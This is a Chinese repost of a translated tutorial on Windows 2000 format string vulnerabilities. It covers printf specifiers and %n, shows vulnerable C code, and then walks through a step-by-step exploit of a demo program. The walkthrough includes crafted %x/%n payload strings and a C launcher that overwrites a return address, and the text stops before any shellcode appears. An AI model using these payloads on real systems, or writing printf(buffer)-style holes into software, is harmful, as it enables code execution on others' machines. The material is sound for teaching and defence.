分享
 
 
 

Windows2000中的格式化字符串攻击

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

原文名称:《Windows 2000 Format String Vulnerabilities》

原文作者:David Litchfield

原文下载:http://www.nextgenss.com/papers/win32format.doc

即使只有一点C语言基础的人也会printf()函数,实际上C语言教科书上通常的第一个程序就是“Hello, World!”,Kernighan and Ritchie在《The C Programming Language》中引发的惯例。

#include

void main(void)

{

printf("\nHello,World!\n\n");

}

这并没有完,在C语言中,当编译并运行这个程序向屏幕打印“Hello, World!”并不是简单的向屏幕输出字符串。和相关的程序fprintf(),vprintf() 以及 sprintf()等一样,就想在print后面加上“f”,这些实际上是打印格式。格式化部分允许程序员控制显示文本的样式。可以通过代替特殊的格式字符来显示值或数据,比如,要显示整型的变量“dVal”的值,就可以使用下面的格式化字符:

printf(“The value is %d”,dVal);

打印的时候,%d就被dVal的值所代替。如果程序员想用十六进制显示同样值:

printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);

这里%d表示十进制的dVal值,%x表示十六进制的dVal的值。下面是集中特殊的格式化字符:

%c 单字符格式

%d 十进制整型 (pre ANSI)

%e,%E 指数形式的 float or double

%f 十进制 float or double

%I 整型 (like %d)

%o 八进制整型

%p 地址指针

%s 字符串

%x,%X 十六进制整型

当然,功能不仅限于怎么控制显示的数据类型,而且也能控制显示的宽度和队列等。

一个格式字符%n没有列在上面,因为有特殊用途,但是它存在的格式化字符安全问题也非常严重。%n用于把前面打印的字符数记录到一个变量中。也用于统计格式化的字节数,这当然需要一个空间来存储这个数字,因此程序需要为此分配内存,例如下面的代码:

1. #include

2. int main()

3. {

4. int bytes_formatted=0;

5. char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;

6. printf(“%.20x%n”,buffer,&bytes_formatted);

7. printf(“\nThe number of bytes formatted in the previous printf statement was %d\n”,bytes_formatted);

8. return 0;

9. }

编译后输出显示为:

0000000000000012ff64

The number of bytes formatted in the previous printf statement was 20

我们在第四行申明了一个int类型的变量bytes_formatted,在第六行,格式化字符表示20个字符应该按十六进制 (“%.20x”) 进行格式化,%n则把值20写到bytes_formatted变量中。这意味着我们写了一个值到另外的内存空间中。现在我们不讨论编译者写数值或者写地址的影响,而讨论那种通过通过某种方式在操作这些值的时候造成了缺陷(溢出),如果这样成功的话,可能获得超过程序的执行控制。

在程序员试图传递一个字符串到一个使用格式化字符的格式函数中,就可能发生溢出情况。参考下面的程序。

#include

void main(int argc, char *argv[])

{

int count = 1;

while(argc 1)

{

printf(argv[count]);

printf(“ “);

count ++;

argc --;

}

}

编译后运行和显示如下:

Prompt: myecho hello

hello

Prompt: myecho this is some text

this is some text

So it justs spits back what we feed in ? or does it? Try:

Prompt: myecho %x%x

112ffc0

注意到myecho %x%x,并没有按照原本的意思打印出来,却显示的十六进制数?原因正是因为这些属于格式化字符,它们被传递给printf()函数却没有用函数来解释这些字符,被认为是格式化字符。安全的写法应该是

printf(“%s”,argv[count]);

而不是:

printf(argv[count]);

一个攻击者能够怎么利用呢?使用 “%n”格式化字符,能写任意值到他们选定的内存中!如果实现了,就能够控制程序的执行。例如,在Intel上,能就可以重写堆栈中的地址,并指向他们的攻击代码,这可以执行任意目的的程序。这种格式化字符漏洞利用起来需要考虑使用函数、操作系统和处理器类型。

Windows 2000 / Intel 下的格式化字符漏洞问题

考虑下面有漏洞的代码:

#include

int main(int argc, char *argv[])

{

char buffer[512]="";

strncpy(buffer,argv[1],500);

printf(buffer);

return 0;

}

这个程序拷贝第一个参数到一个缓冲区,然后简单地把缓冲区传递给 printf, 有问题的代码是这一行:

printf(buffer);

因为我们可以提供一个格式化字符作为第一个参数,而被传递给 printf() ,假设这个程序编译后叫 printf.exe。

我们现在需要作的就是试图用我们提供的地址来重写堆栈中函数的返回地址,我们提供的地址可以指向攻击代码(shell code)。要达到这样的目的,我们需要得到格式化打印的确切字节数,用来匹配我们需要用的地址。例如,如果我们的攻击代码在地址0x0012FF40处,那么,我们就要让 printf 表达式格式0x0012FF40个字节,我们的格式化字符串就可以是:

c:\printf %.622496x%.622496x%n

这就让1244992字节被printf表达式格式化打印,这个数字的十六进制就是0x0012FF40。但是目前并不完善,我们需要把exploit代码也放进去,这需要占据字节数。因此,我们要产生shell ,在windows 2000中这至多需要 40字节的 exploit code ,因此,需要修改我们的格式化字符串放入我们的代码就需要从622496中减去40。就变成:

c:\printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n

在这个例子中,我们只是简单地用字符“A”替代我们的攻击代码。现在可以运行它但是可能发生非法存取问题,因为程序试图写的地址0x41414141可能没有初始化。当这个问题出现的时候调试程序,正如看到的,不愉快的一行是:

mov dword ptr [eax],ecx

它试图移动(mov)ecx (etc是0x0012FF40,也就是是我们需要找到的地址)到 eax (现在是0x41414141)地址中,由于0x41414141这个区域还没有初始化,所以就会出现存取错误。同时,我们调试并找到攻击代码字符串(我们刚才只是假设它们的地址是0x0012FF40),但是它们却并不在0x0012FF40存在,而是在地址0x0012FD80中。相差并不远,但是,要利用起来是需要非常精确的。因此,需要再次修改那些格式字符串。在这之前,我们是通过找一个合适的目标(需要重写的返回地址)来进行的。我们发现了一个相似的目标,地址0x0012FD54,它储存的地址是0x00401077,因此,我们可以类似这样来进行。现在接着要达到的目的就是要重写EI为P地址0x0012FD80,这个地址就是攻击代码的地址。如果达到这个目的,把这个返回地址推送到堆栈中,进程就会开始执行我们的攻击代码了。怎样才能重写地址0x0012FD54,而刚才我们做的事情却一直是在试图重写地址0x41414141?好,这是一个线索。%n格式化字符把指向字符串中某处的指针标志到字符串的结尾处。我们要做的就是把%n从我们格式化字符串中的某个位置变化到字符串结尾处,要达到这个目的就需要使用添加更多的%x来完成,我们用BBBB来标记我们的字符串结尾。

c:\printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

这是,程序试图写的地址是0x78257825,我们转换成十进制数发现0x78只是小写的“x”,0x25是“%”,所以看出来现在写的位置还是"%x%x%x%x"中的某个地方,这样,我们就继续试探,增加更多的%x:

c:\printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

这次正好到了,现在要试图写的地址就是0x42424242(也就是BBBB),我们把BBBB代替成攻击代码的返回位置0x0012FD54。但是,我们只是在这里可以用ASCII很简单地写0x12 或者 0xFD,所以需要写另外的一个程序来帮我们把这些值写进去。刚才我们用%x一直达到能够重写我们需要的地址0x0012FD80,而现在这个值变成了0x00130019(refdom注:因为多了很多%x,所以让%n的大小也增加了),我们需要少写665字节内容,把刚才的622456改变成621791,我们的程序就是:

#include

int main()

{

char buffer[500]="printf

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

%x%x%.622496x%.621791x%n\x54\xFD\x12";

system(buffer);

return 0;

}

编译运行后又有了一个新的非法存取问题:在0x0012FF90处的指令引用了0x00000030处的存储器。注意,在0x0012FF90处的指令(这是一个堆栈地址),并且显然,我们的进程正试图执行堆栈中的代码,我们的格式化字符串exploit起作用了!我们已经成功地用我们的地址重写了返回地址,并将程序引到那里去了。现在,我们需要把exploit代码放进去

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有